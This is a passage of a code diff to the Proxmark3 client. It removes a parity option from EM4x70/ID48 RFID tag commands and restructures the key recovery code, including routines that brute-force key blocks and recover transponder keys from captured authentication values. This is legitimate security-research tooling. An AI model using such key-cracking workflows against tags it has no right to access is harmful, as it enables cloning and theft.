PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -1259,18 +1266,9 @@ static int CmdEM4x50Sim(const char *Cmd) { PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " or " _GREEN_("") " to abort simulation"); - PacketResponseNG resp; // init to ZERO - resp.cmd = 0, - resp.length = 0, - resp.magic = 0, - resp.status = 0, - resp.crc = 0, - resp.ng = false, - resp.oldarg[0] = 0; - resp.oldarg[1] = 0; - resp.oldarg[2] = 0; - memset(resp.data.asBytes, 0, PM3_CMD_DATA_SIZE); + PacketResponseNG resp; + memset(&resp, 0, sizeof(resp)); bool keypress; do { diff --git a/client/src/cmdlfem4x70.c b/client/src/cmdlfem4x70.c index cffac044d..8fd80e3d7 100644 --- a/client/src/cmdlfem4x70.c +++ b/client/src/cmdlfem4x70.c @@ -34,9 +34,15 @@ // TODO: Optional: use those unique structures in a union, call it em4x70_data_t, but add a first // common header field that includes the command itself (to improve debugging / validation). + typedef struct _em4x70_tag_info_t { ///

- /// The full data on an em4x70 the tag. + /// The full data on an em4170 tag. + /// For V4070 tags: + /// * UM2 does not exist on the tag + /// * Pin does not exist on the tag + /// * UM1 (including the lock bits) might be one-time programmable (OTP) + /// /// [31] == Block 15 MSB == UM2₆₃..UM2₅₆ /// [30] == Block 15 LSB == UM2₅₅..UM2₄₈ /// [29] == Block 14 MSB == UM2₄₇..UM2₄₀ @@ -80,18 +86,12 @@ typedef struct _em4x70_tag_info_t { uint8_t Raw[32]; } em4x70_tag_info_t; -typedef struct _em4x70_cmd_input_info_t { - uint8_t use_parity; -} em4x70_cmd_input_info_t; - typedef struct _em4x70_cmd_input_writeblock_t { - uint8_t use_parity; uint8_t block; uint8_t value[2]; } em4x70_cmd_input_writeblock_t; typedef struct _em4x70_cmd_input_brute_t { - uint8_t use_parity; ID48LIB_NONCE rn; ID48LIB_FRN frn; uint8_t block; @@ -115,12 +115,10 @@ typedef struct _em4x70_cmd_output_brute_t { } em4x70_cmd_output_brute_t; typedef struct _em4x70_cmd_input_unlock_t { - uint8_t use_parity; uint8_t pin[4]; } em4x70_cmd_input_unlock_t; typedef struct _em4x70_cmd_input_auth_t { - uint8_t use_parity; ID48LIB_NONCE rn; ID48LIB_FRN frn; } em4x70_cmd_input_auth_t; @@ -130,12 +128,10 @@ typedef struct _em4x70_cmd_output_auth_t { } em4x70_cmd_output_auth_t; typedef struct _em4x70_cmd_input_setpin_t { - uint8_t use_parity; uint8_t pin[4]; } em4x70_cmd_input_setpin_t; typedef struct _em4x70_cmd_input_setkey_t { - uint8_t use_parity; ID48LIB_KEY key; } em4x70_cmd_input_setkey_t; @@ -145,7 +141,6 @@ typedef struct _em4x70_cmd_input_recover_t { ID48LIB_NONCE nonce; ID48LIB_FRN frn; ID48LIB_GRN grn; - bool parity; // if true, add parity bit to commands sent to tag bool verify; // if true, tag must be present } em4x70_cmd_input_recover_t; @@ -158,7 +153,6 @@ typedef struct _em4x70_cmd_output_recover_t { } em4x70_cmd_output_recover_t; typedef struct _em4x70_cmd_input_verify_auth_t { - uint8_t use_parity; ID48LIB_NONCE rn; ID48LIB_FRN frn; ID48LIB_GRN grn; @@ -168,6 +162,7 @@ typedef struct _em4x70_cmd_input_calculate_t { ID48LIB_KEY key; ID48LIB_NONCE rn; } em4x70_cmd_input_calculate_t; + typedef struct _em4x70_cmd_output_calculate_t { ID48LIB_FRN frn; ID48LIB_GRN grn; @@ -221,12 +216,12 @@ static void em4x70_print_info_result(const em4x70_tag_info_t *data) { PrintAndLogEx(NORMAL, ""); } -static int get_em4x70_info(const em4x70_cmd_input_info_t *opts, em4x70_tag_info_t *data_out) { +static int get_em4x70_info(em4x70_tag_info_t *data_out) { memset(data_out, 0, sizeof(em4x70_tag_info_t)); // TODO: change firmware to use per-cmd structures - em4x70_data_t edata = { .parity = opts->use_parity }; + em4x70_data_t edata = {0}; clearCommandBuffer(); SendCommandNG(CMD_LF_EM4X70_INFO, (uint8_t *)&edata, sizeof(em4x70_data_t)); PacketResponseNG resp; @@ -244,10 +239,10 @@ static int writeblock_em4x70(const em4x70_cmd_input_writeblock_t *opts, em4x70_t memset(data_out, 0, sizeof(em4x70_tag_info_t)); // TODO: change firmware to use per-cmd structures - em4x70_data_t etd = {0}; - etd.address = opts->block; - etd.word = BYTES2UINT16(opts->value); - etd.parity = opts->use_parity; + em4x70_data_t etd = { + .address = opts->block, + .word = BYTES2UINT16(opts->value), + }; clearCommandBuffer(); SendCommandNG(CMD_LF_EM4X70_WRITE, (uint8_t *)&etd, sizeof(etd)); @@ -266,7 +261,6 @@ static int auth_em4x70(const em4x70_cmd_input_auth_t *opts, em4x70_cmd_output_au // TODO: change firmware to use per-cmd structures em4x70_data_t etd = {0}; - etd.parity = opts->use_parity; memcpy(&etd.rnd[0], &opts->rn.rn[0], 7); memcpy(&etd.frnd[0], &opts->frn.frn[0], 4); @@ -291,7 +285,6 @@ static int setkey_em4x70(const em4x70_cmd_input_setkey_t *opts) { // TODO: change firmware to use per-cmd structures em4x70_data_t etd = {0}; - etd.parity = opts->use_parity; memcpy(&etd.crypt_key[0], &opts->key.k[0], 12); clearCommandBuffer(); @@ -308,7 +301,6 @@ static int brute_em4x70(const em4x70_cmd_input_brute_t *opts, em4x70_cmd_output_ // TODO: change firmware to use per-cmd structures em4x70_data_t etd = {0}; - etd.parity = opts->use_parity; etd.address = opts->block; memcpy(&etd.rnd[0], &opts->rn.rn[0], 7); memcpy(&etd.frnd[0], &opts->frn.frn[0], 4); @@ -359,7 +351,6 @@ static int unlock_em4x70(const em4x70_cmd_input_unlock_t *opts, em4x70_tag_info_ // TODO: change firmware to use per-cmd structures em4x70_data_t etd = {0}; - etd.parity = opts->use_parity; etd.pin = BYTES2UINT32(opts->pin); clearCommandBuffer(); @@ -379,7 +370,6 @@ static int setpin_em4x70(const em4x70_cmd_input_setpin_t *opts, em4x70_tag_info_ // TODO: change firmware to use per-cmd structures em4x70_data_t etd = {0}; - etd.parity = opts->use_parity; etd.pin = BYTES2UINT32(opts->pin); clearCommandBuffer(); @@ -422,7 +412,6 @@ static int recover_em4x70(const em4x70_cmd_input_recover_t *opts, em4x70_cmd_out static int verify_auth_em4x70(const em4x70_cmd_input_verify_auth_t *opts) { em4x70_cmd_input_auth_t opts_auth = { - .use_parity = opts->use_parity, .rn = opts->rn, .frn = opts->frn, }; @@ -451,27 +440,22 @@ static int CmdEM4x70Info(const char *Cmd) { " ID48 does not use command parity (default).\n" " V4070 and EM4170 do require parity bit.", "lf em 4x70 info\n" - "lf em 4x70 info --par -> adds parity bit to command\n" ); void *argtable[] = { arg_param_begin, - arg_lit0(NULL, "par", "Add parity bit when sending commands"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); - em4x70_cmd_input_info_t opts = { - .use_parity = arg_get_lit(ctx, 0), - }; CLIParserFree(ctx); // Client command line parsing and validation complete ... now use the helper function em4x70_tag_info_t info; - int result = get_em4x70_info(&opts, &info); + int result = get_em4x70_info(&info); if (result == PM3_ETIMEOUT) { - PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); } else if (result == PM3_SUCCESS) { em4x70_print_info_result(&info); } else { @@ -487,12 +471,10 @@ static int CmdEM4x70Write(const char *Cmd) { CLIParserInit(&ctx, "lf em 4x70 write", "Write EM4x70\n", "lf em 4x70 write -b 15 -d c0de -> write 'c0de' to block 15\n" - "lf em 4x70 write -b 15 -d c0de --par -> adds parity bit to commands\n" ); void *argtable[] = { arg_param_begin, - arg_lit0(NULL, "par", "Add parity bit when sending commands"), arg_int1("b", "block", "", "block/word address, dec"), arg_str1("d", "data", "", "data, 2 bytes"), arg_param_end @@ -501,12 +483,12 @@ static int CmdEM4x70Write(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, true); em4x70_cmd_input_writeblock_t opts = { - .use_parity = arg_get_lit(ctx, 1), - .block = arg_get_int_def(ctx, 2, 1), + .block = arg_get_int_def(ctx, 1, 1), .value = {0}, // hex value macro exits function, so cannot be initialized here }; + int value_len = 0; - CLIGetHexWithReturn(ctx, 3, opts.value, &value_len); + CLIGetHexWithReturn(ctx, 2, opts.value, &value_len); CLIParserFree(ctx); if (opts.block >= EM4X70_NUM_BLOCKS) { @@ -523,7 +505,7 @@ static int CmdEM4x70Write(const char *Cmd) { int result = writeblock_em4x70(&opts, &info); if (result == PM3_ETIMEOUT) { - PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); } else if (result == PM3_SUCCESS) { em4x70_print_info_result(&info); } else { @@ -548,7 +530,6 @@ static int CmdEM4x70Brute(const char *Cmd) { ); void *argtable[] = { arg_param_begin, - arg_lit0(NULL, "par", "Add parity bit when sending commands"), arg_int1("b", "block", "", "block/word address, dec"), arg_str1(NULL, "rnd", "", "Random 56-bit"), arg_str1(NULL, "frn", "", "F(RN) 28-bit as 4 hex bytes"), @@ -558,8 +539,7 @@ static int CmdEM4x70Brute(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, true); em4x70_cmd_input_brute_t opts = { - .use_parity = arg_get_lit(ctx, 1), - .block = arg_get_int_def(ctx, 2, 0), + .block = arg_get_int_def(ctx, 1, 0), .rn = {{0}}, // hex value macro exits function, so cannot be initialized here .frn = {{0}}, // hex value macro exits function, so cannot be initialized here .partial_key_start = {0}, // hex value macro exits function, so cannot be initialized here @@ -572,15 +552,15 @@ static int CmdEM4x70Brute(const char *Cmd) { } int rnd_len = 7; - CLIGetHexWithReturn(ctx, 3, opts.rn.rn, &rnd_len); + CLIGetHexWithReturn(ctx, 2, opts.rn.rn, &rnd_len); int frnd_len = 4; - CLIGetHexWithReturn(ctx, 4, opts.frn.frn, &frnd_len); + CLIGetHexWithReturn(ctx, 3, opts.frn.frn, &frnd_len); // would prefer to use above CLIGetHexWithReturn(), but it does not // appear to support optional arguments. uint32_t start_key = 0; - int res = arg_get_u32_hexstr_def_nlen(ctx, 5, 0, &start_key, 2, true); // this stores in NATIVE ENDIAN + int res = arg_get_u32_hexstr_def_nlen(ctx, 4, 0, &start_key, 2, true); // this stores in NATIVE ENDIAN if (res == 2) { PrintAndLogEx(WARNING, "start key parameter must be in range [0, FFFF]"); CLIParserFree(ctx); @@ -607,7 +587,7 @@ static int CmdEM4x70Brute(const char *Cmd) { em4x70_cmd_output_brute_t data; int result = brute_em4x70(&opts, &data); if (result == PM3_EOPABORTED) { - PrintAndLogEx(DEBUG, "User aborted"); + PrintAndLogEx(DEBUG, "\naborted via keyboard!"); } else if (result == PM3_ETIMEOUT) { PrintAndLogEx(WARNING, "\nNo response from Proxmark3. Aborting..."); } else if (result == PM3_SUCCESS) { @@ -628,11 +608,9 @@ static int CmdEM4x70Unlock(const char *Cmd) { " AAAAAAAA\n" " 00000000\n", "lf em 4x70 unlock -p 11223344 -> Unlock with PIN\n" - "lf em 4x70 unlock -p 11223344 --par -> Unlock with PIN using parity commands\n" ); void *argtable[] = { arg_param_begin, - arg_lit0(NULL, "par", "Add parity bit when sending commands"), arg_str1("p", "pin", "", "pin, 4 bytes"), arg_param_end }; @@ -640,11 +618,10 @@ static int CmdEM4x70Unlock(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, true); em4x70_cmd_input_unlock_t opts = { - .use_parity = arg_get_lit(ctx, 1), .pin = {0}, // hex value macro exits function, so cannot be initialized here }; int pin_len = 0; - CLIGetHexWithReturn(ctx, 2, opts.pin, &pin_len); + CLIGetHexWithReturn(ctx, 1, opts.pin, &pin_len); CLIParserFree(ctx); if (pin_len != 4) { @@ -657,7 +634,7 @@ static int CmdEM4x70Unlock(const char *Cmd) { int result = unlock_em4x70(&opts, &info); if (result == PM3_ETIMEOUT) { - PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); } else if (result == PM3_SUCCESS) { em4x70_print_info_result(&info); } else { @@ -684,7 +661,6 @@ static int CmdEM4x70Auth(const char *Cmd) { void *argtable[] = { arg_param_begin, - arg_lit0(NULL, "par", "Add parity bit when sending commands"), arg_str1(NULL, "rnd", "", "Random 56-bit"), arg_str1(NULL, "frn", "", "F(RN) 28-bit as 4 hex bytes"), arg_param_end @@ -693,15 +669,14 @@ static int CmdEM4x70Auth(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, true); em4x70_cmd_input_auth_t opts = { - .use_parity = arg_get_lit(ctx, 1), .rn = {{0}}, // hex value macro exits function, so cannot be initialized here .frn = {{0}}, // hex value macro exits function, so cannot be initialized here }; int rn_len = 7; - CLIGetHexWithReturn(ctx, 2, opts.rn.rn, &rn_len); + CLIGetHexWithReturn(ctx, 1, opts.rn.rn, &rn_len); int frn_len = 4; - CLIGetHexWithReturn(ctx, 3, opts.frn.frn, &frn_len); + CLIGetHexWithReturn(ctx, 2, opts.frn.frn, &frn_len); CLIParserFree(ctx); if (rn_len != 7) { PrintAndLogEx(FAILED, "Random number length must be 7 bytes, got %d", rn_len); @@ -719,7 +694,7 @@ static int CmdEM4x70Auth(const char *Cmd) { if (PM3_SUCCESS == result) { PrintAndLogEx(INFO, "Tag Auth Response: %02X %02X %02X", data.grn.grn[0], data.grn.grn[1], data.grn.grn[2]); } else if (PM3_ETIMEOUT == result) { - PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); } else { PrintAndLogEx(FAILED, "TAG Authentication ( " _RED_("fail") " )"); } @@ -731,23 +706,19 @@ static int CmdEM4x70SetPIN(const char *Cmd) { CLIParserInit(&ctx, "lf em 4x70 setpin", "Write new PIN\n", "lf em 4x70 setpin -p 11223344 -> Write new PIN\n" - "lf em 4x70 setpin -p 11223344 --par -> Write new PIN using parity commands\n" ); void *argtable[] = { arg_param_begin, - arg_lit0(NULL, "par", "Add parity bit when sending commands"), arg_str1("p", "pin", "", "pin, 4 bytes"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); - em4x70_cmd_input_setpin_t opts = { - .use_parity = arg_get_lit(ctx, 1), .pin = {0}, // hex value macro exits function, so cannot be initialized here }; int pin_len = 0; - CLIGetHexWithReturn(ctx, 2, opts.pin, &pin_len); + CLIGetHexWithReturn(ctx, 1, opts.pin, &pin_len); CLIParserFree(ctx); if (pin_len != 4) { @@ -761,7 +732,7 @@ static int CmdEM4x70SetPIN(const char *Cmd) { int result = setpin_em4x70(&opts, &info); if (result == PM3_ETIMEOUT) { - PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); } else if (result == PM3_SUCCESS) { em4x70_print_info_result(&info); PrintAndLogEx(INFO, "Writing new PIN ( " _GREEN_("ok") " )"); @@ -782,19 +753,16 @@ static int CmdEM4x70SetKey(const char *Cmd) { void *argtable[] = { arg_param_begin, - arg_lit0(NULL, "par", "Add parity bit when sending commands"), arg_str1("k", "key", "", "Key as 12 hex bytes"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); - em4x70_cmd_input_setkey_t opts = { - .use_parity = arg_get_lit(ctx, 1), .key = {{0}}, // hex value macro exits function, so cannot be initialized here }; int key_len = 12; - CLIGetHexWithReturn(ctx, 2, opts.key.k, &key_len); + CLIGetHexWithReturn(ctx, 1, opts.key.k, &key_len); CLIParserFree(ctx); if (key_len != 12) { PrintAndLogEx(FAILED, "Key length must be 12 bytes, got %d", key_len); @@ -805,7 +773,7 @@ static int CmdEM4x70SetKey(const char *Cmd) { int result = setkey_em4x70(&opts); if (PM3_ETIMEOUT == result) { - PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } else if (PM3_SUCCESS != result) { PrintAndLogEx(FAILED, "Writing new key " _RED_("fail")); @@ -816,7 +784,6 @@ static int CmdEM4x70SetKey(const char *Cmd) { // Now verify authentication using the new key, to ensure it was correctly written em4x70_cmd_input_verify_auth_t opts_v = { - .use_parity = opts.use_parity, //.rn = opts_auth.rn, //.frn = opts_auth.frn, //.grn = {{0}}, @@ -850,7 +817,7 @@ static int CmdEM4x70SetKey(const char *Cmd) { result = verify_auth_em4x70(&opts_v); if (PM3_ETIMEOUT == result) { - PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return result; } else if (PM3_SUCCESS != result) { PrintAndLogEx(FAILED, "Authenticating with new key ( " _RED_("fail") " )"); @@ -902,7 +869,6 @@ static int CmdEM4x70Recover_ParseArgs(const char *Cmd, em4x70_cmd_input_recover_ void *argtable[] = { arg_param_begin, - arg_lit0(NULL, "par", "Add parity bit when sending commands"), arg_str1("k", "key", "", "Key as 6 hex bytes"), arg_str1(NULL, "rnd", "", "Random 56-bit"), arg_str1(NULL, "frn", "", "F(RN) 28-bit as 4 hex bytes"), @@ -924,17 +890,16 @@ static int CmdEM4x70Recover_ParseArgs(const char *Cmd, em4x70_cmd_input_recover_ // if all OK so far, convert to internal data structure if (PM3_SUCCESS == result) { // magic number == index in argtable above. Fragile technique! - out_results->parity = arg_get_lit(ctx, 1); - if (CLIParamHexToBuf(arg_get_str(ctx, 2), &(out_results->key.k[0]), 12, &key_len)) { + if (CLIParamHexToBuf(arg_get_str(ctx, 1), &(out_results->key.k[0]), 12, &key_len)) { result = PM3_ESOFT; } - if (CLIParamHexToBuf(arg_get_str(ctx, 3), &(out_results->nonce.rn[0]), 7, &rnd_len)) { + if (CLIParamHexToBuf(arg_get_str(ctx, 2), &(out_results->nonce.rn[0]), 7, &rnd_len)) { result = PM3_ESOFT; } - if (CLIParamHexToBuf(arg_get_str(ctx, 4), &(out_results->frn.frn[0]), 4, &frn_len)) { + if (CLIParamHexToBuf(arg_get_str(ctx, 3), &(out_results->frn.frn[0]), 4, &frn_len)) { result = PM3_ESOFT; } - if (CLIParamHexToBuf(arg_get_str(ctx, 5), &(out_results->grn.grn[0]), 3, &grn_len)) { + if (CLIParamHexToBuf(arg_get_str(ctx, 4), &(out_results->grn.grn[0]), 3, &grn_len)) { result = PM3_ESOFT; } //out_results->verify = arg_get_lit(ctx, 6); @@ -982,60 +947,57 @@ static int CmdEM4x70Recover(const char *Cmd) { result = recover_em4x70(&recover_ctx.opts, &recover_ctx.data); if (PM3_EOVFLOW == result) { PrintAndLogEx(ERR, "Found more than %d potential keys. This is unexpected and likely a code failure.", MAXIMUM_ID48_RECOVERED_KEY_COUNT); + return result; } else if (PM3_SUCCESS != result) { PrintAndLogEx(ERR, "No potential keys recovered. This is unexpected and likely a code failure."); + return result; } } // generate alternate authentication for each potential key -- no error paths, sub-second execution - if (PM3_SUCCESS == result) { - - fill_buffer_prng_bytes(&recover_ctx.alt_nonce, sizeof(ID48LIB_NONCE)); - for (uint8_t i = 0; i < recover_ctx.data.potential_key_count; ++i) { - // generate the alternate frn/grn for the alternate nonce - id48lib_generator(&recover_ctx.data.potential_keys[i], &recover_ctx.alt_nonce, &recover_ctx.alt_frn[i], &recover_ctx.alt_grn[i]); - } + fill_buffer_prng_bytes(&recover_ctx.alt_nonce, sizeof(ID48LIB_NONCE)); + for (uint8_t i = 0; i < recover_ctx.data.potential_key_count; ++i) { + // generate the alternate frn/grn for the alternate nonce + id48lib_generator(&recover_ctx.data.potential_keys[i], &recover_ctx.alt_nonce, &recover_ctx.alt_frn[i], &recover_ctx.alt_grn[i]); } // display alternate authentication for each potential key -- no error paths - if (PM3_SUCCESS == result) { + PrintAndLogEx(INFO, "Recovered %d potential keys:", recover_ctx.data.potential_key_count); + for (uint8_t i = 0; i < recover_ctx.data.potential_key_count; ++i) { + // generate an alternative authentication based on the potential key + // and the alternate nonce. + ID48LIB_KEY q = recover_ctx.data.potential_keys[i]; + ID48LIB_FRN alt_frn = recover_ctx.alt_frn[i]; + ID48LIB_GRN alt_grn = recover_ctx.alt_grn[i]; - PrintAndLogEx(INFO, "Recovered %d potential keys:", recover_ctx.data.potential_key_count); - for (uint8_t i = 0; i < recover_ctx.data.potential_key_count; ++i) { - // generate an alternative authentication based on the potential key - // and the alternate nonce. - ID48LIB_KEY q = recover_ctx.data.potential_keys[i]; - ID48LIB_FRN alt_frn = recover_ctx.alt_frn[i]; - ID48LIB_GRN alt_grn = recover_ctx.alt_grn[i]; - - // dump the results to screen, to enable the user to manually check validity - PrintAndLogEx(INFO, - "Potential Key #%d: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x" - " --> " _YELLOW_("lf em 4x70 auth --rnd %02X%02X%02X%02X%02X%02X%02X --frn %02X%02X%02X%02X") - " --> %02X%02X%02X", - i, - q.k[ 0], q.k[ 1], q.k[ 2], q.k[ 3], q.k[ 4], q.k[ 5], - q.k[ 6], q.k[ 7], q.k[ 8], q.k[ 9], q.k[10], q.k[11], - recover_ctx.alt_nonce.rn[0], - recover_ctx.alt_nonce.rn[1], - recover_ctx.alt_nonce.rn[2], - recover_ctx.alt_nonce.rn[3], - recover_ctx.alt_nonce.rn[4], - recover_ctx.alt_nonce.rn[5], - recover_ctx.alt_nonce.rn[6], - alt_frn.frn[0], - alt_frn.frn[1], - alt_frn.frn[2], - alt_frn.frn[3], - alt_grn.grn[0], - alt_grn.grn[1], - alt_grn.grn[2] - ); - } - printf("\n"); + // dump the results to screen, to enable the user to manually check validity + PrintAndLogEx(INFO, + "Potential Key #%d: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x" + " --> " _YELLOW_("lf em 4x70 auth --rnd %02X%02X%02X%02X%02X%02X%02X --frn %02X%02X%02X%02X") + " --> %02X%02X%02X", + i, + q.k[ 0], q.k[ 1], q.k[ 2], q.k[ 3], q.k[ 4], q.k[ 5], + q.k[ 6], q.k[ 7], q.k[ 8], q.k[ 9], q.k[10], q.k[11], + recover_ctx.alt_nonce.rn[0], + recover_ctx.alt_nonce.rn[1], + recover_ctx.alt_nonce.rn[2], + recover_ctx.alt_nonce.rn[3], + recover_ctx.alt_nonce.rn[4], + recover_ctx.alt_nonce.rn[5], + recover_ctx.alt_nonce.rn[6], + alt_frn.frn[0], + alt_frn.frn[1], + alt_frn.frn[2], + alt_frn.frn[3], + alt_grn.grn[0], + alt_grn.grn[1], + alt_grn.grn[2] + ); } + printf("\n"); + // which of those keys actually validates? - if (PM3_SUCCESS == result && recover_ctx.opts.verify) { + if (recover_ctx.opts.verify) { // TODO: automatic verification against a present tag. // Updates ctx.potential_keys_validated[10] and ctx.keys_validated_count PrintAndLogEx(WARNING, "Automatic verification against tag is not yet implemented."); @@ -1108,7 +1070,6 @@ static int CmdEM4x70AutoRecover_ParseArgs(const char *Cmd, em4x70_cmd_input_reco void *argtable[] = { arg_param_begin, - arg_lit0(NULL, "par", "Add parity bit when sending commands"), arg_str1(NULL, "rnd", "", "Random 56-bit from known-good authentication"), arg_str1(NULL, "frn", "", "F(RN) 28-bit as 4 hex bytes from known-good authentication"), arg_str1(NULL, "grn", "", "G(RN) 20-bit as 3 hex bytes from known-good authentication"), @@ -1121,10 +1082,9 @@ static int CmdEM4x70AutoRecover_ParseArgs(const char *Cmd, em4x70_cmd_input_reco int rnd_len = 0; // must be 7 bytes hex data int frn_len = 0; // must be 4 bytes hex data int grn_len = 0; // must be 3 bytes hex data - out_results->parity = arg_get_lit(ctx, 1); - CLIGetHexWithReturn(ctx, 2, out_results->nonce.rn, &rnd_len); - CLIGetHexWithReturn(ctx, 3, out_results->frn.frn, &frn_len); - CLIGetHexWithReturn(ctx, 4, out_results->grn.grn, &grn_len); + CLIGetHexWithReturn(ctx, 1, out_results->nonce.rn, &rnd_len); + CLIGetHexWithReturn(ctx, 2, out_results->frn.frn, &frn_len); + CLIGetHexWithReturn(ctx, 3, out_results->grn.grn, &grn_len); CLIParserFree(ctx); if (rnd_len != 7) { @@ -1182,44 +1142,41 @@ static int CmdEM4x70AutoRecover(const char *Cmd) { // 1. Verify passed parameters authenticate with the tag (safety check) // lf em 4x70 auth --rnd --frn - if (PM3_SUCCESS == result) { - PrintAndLogEx(INFO, "Step 1. Verifying passed parameters authenticate with the tag (safety check)"); - PrintAndLogEx(HINT, " " _YELLOW_("lf em 4x70 auth --rnd %s --frn %s"), rnd_string, frn_string); + PrintAndLogEx(INFO, "Step 1. Verifying passed parameters authenticate with the tag (safety check)"); + PrintAndLogEx(HINT, "Hint: " _YELLOW_("lf em 4x70 auth --rnd %s --frn %s"), rnd_string, frn_string); - em4x70_cmd_input_auth_t opts_auth = { - .use_parity = opts.parity, - .rn = opts.nonce, - .frn = opts.frn, - }; + em4x70_cmd_input_auth_t opts_auth = { + .rn = opts.nonce, + .frn = opts.frn, + }; - em4x70_cmd_output_auth_t tag_grn; + em4x70_cmd_output_auth_t tag_grn; - result = auth_em4x70(&opts_auth, &tag_grn); + result = auth_em4x70(&opts_auth, &tag_grn); - if (PM3_ETIMEOUT == result) { - PrintAndLogEx(WARNING, "Timeout while waiting for reply."); - return result; - } else if (PM3_SUCCESS != result) { - PrintAndLogEx(FAILED, "Authenticating with provided values ( " _RED_("fail") " )"); - return result; - } else if (memcmp(&opts.grn, &tag_grn, sizeof(ID48LIB_GRN)) != 0) { - PrintAndLogEx(FAILED, "Authenticating with new key returned %02x %02x %02x" - , tag_grn.grn.grn[0] - , tag_grn.grn.grn[1] - , tag_grn.grn.grn[2] - ); - PrintAndLogEx(FAILED, "Expected %s [maybe 5 lsb of key wrong?] ( " _RED_("fail") " )", grn_string); - result = PM3_EWRONGANSWER; - return result; - } - last_successful_step = 1; + if (PM3_ETIMEOUT == result) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return result; + } else if (PM3_SUCCESS != result) { + PrintAndLogEx(FAILED, "Authenticating with provided values ( " _RED_("fail") " )"); + return result; + } else if (memcmp(&opts.grn, &tag_grn, sizeof(ID48LIB_GRN)) != 0) { + PrintAndLogEx(FAILED, "Authenticating with new key returned %02x %02x %02x" + , tag_grn.grn.grn[0] + , tag_grn.grn.grn[1] + , tag_grn.grn.grn[2] + ); + PrintAndLogEx(FAILED, "Expected %s [maybe 5 lsb of key wrong?] ( " _RED_("fail") " )", grn_string); + result = PM3_EWRONGANSWER; + return result; } + last_successful_step = 1; // 2/3/4. Brute force the key bits in block 7,8,9 // lf em 4x70 write -b N -d 0000 // lf em 4x70 brute -b N --rnd --frn // lf em 4x70 write -b N -d - for (uint8_t block = 9; (PM3_SUCCESS == result) && (block > 6); --block) { + for (uint8_t block = 9; block > 6; --block) { uint8_t step = block == 9 ? 2 : block == 8 ? 3 : @@ -1228,96 +1185,85 @@ static int CmdEM4x70AutoRecover(const char *Cmd) { em4x70_cmd_output_brute_t brute = {0}; // lf em 4x70 write -b N -d 0000 - if (PM3_SUCCESS == result) { - PrintAndLogEx(INFO, "Step %d. Brute force the key bits in block %d", step, block); - PrintAndLogEx(HINT, " " _YELLOW_("lf em 4x70 write -b %d -d 0000"), block); + PrintAndLogEx(INFO, "Step %d. Brute force the key bits in block %d", step, block); + PrintAndLogEx(HINT, "Hint: " _YELLOW_("lf em 4x70 write -b %d -d 0000"), block); - em4x70_cmd_input_writeblock_t opt_write_zeros = { - .use_parity = opts.parity, - .block = block, - .value = {0x00, 0x00}, - }; + em4x70_cmd_input_writeblock_t opt_write_zeros = { + .block = block, + .value = {0x00, 0x00}, + }; - result = writeblock_em4x70(&opt_write_zeros, &tag_info); + result = writeblock_em4x70(&opt_write_zeros, &tag_info); - if (PM3_ETIMEOUT == result) { - PrintAndLogEx(FAILED, "Timeout while waiting for reply."); - PrintAndLogEx(HINT, "Block %d data may have been overwritten. Manually restart at step %d", block, step); - return result; - } else if (PM3_SUCCESS != result) { - PrintAndLogEx(FAILED, "Writing block %d ( " _RED_("fail") " )", block); - PrintAndLogEx(HINT, "Block %d data was overwritten. Manually restart at step %d", block, step); - return result; - } + if (PM3_ETIMEOUT == result) { + PrintAndLogEx(FAILED, "timeout while waiting for reply"); + PrintAndLogEx(HINT, "Hint: Block %d data may have been overwritten. Manually restart at step %d", block, step); + return result; + } else if (PM3_SUCCESS != result) { + PrintAndLogEx(FAILED, "Writing block %d ( " _RED_("fail") " )", block); + PrintAndLogEx(HINT, "Hint: Block %d data was overwritten. Manually restart at step %d", block, step); + return result; } // lf em 4x70 brute -b N --rnd --frn - if (PM3_SUCCESS == result) { - PrintAndLogEx(HINT, " " _YELLOW_("lf em 4x70 brute -b %d --rnd %s --frn %s"), block, rnd_string, frn_string); + PrintAndLogEx(HINT, "Hint: " _YELLOW_("lf em 4x70 brute -b %d --rnd %s --frn %s"), block, rnd_string, frn_string); - em4x70_cmd_input_brute_t opts_brute = { - .use_parity = opts.parity, - .block = block, - .rn = opts.nonce, - .frn = opts.frn, - .partial_key_start = {0}, - }; + em4x70_cmd_input_brute_t opts_brute = { + .block = block, + .rn = opts.nonce, + .frn = opts.frn, + .partial_key_start = {0}, + }; - result = brute_em4x70(&opts_brute, &brute); + result = brute_em4x70(&opts_brute, &brute); - if (PM3_ETIMEOUT == result) { - PrintAndLogEx(FAILED, "Timeout while waiting for reply."); - PrintAndLogEx(HINT, "Block %d data was overwritten. Manually restart at step %d", block, step); - return result; - } else if (PM3_SUCCESS != result) { - PrintAndLogEx(FAILED, "Writing block %d ( " _RED_("fail") " )", block); - PrintAndLogEx(HINT, "Block %d data was overwritten. Manually restart at step %d", block, step); - return result; - } else { - PrintAndLogEx(INFO, " Found: Partial key in block %d is " _GREEN_("%02X%02X") - , block - , brute.partial_key[0] - , brute.partial_key[1] - ); - // Save the partial key... - if (block == 9) { - opts.key.k[0] = brute.partial_key[0]; - opts.key.k[1] = 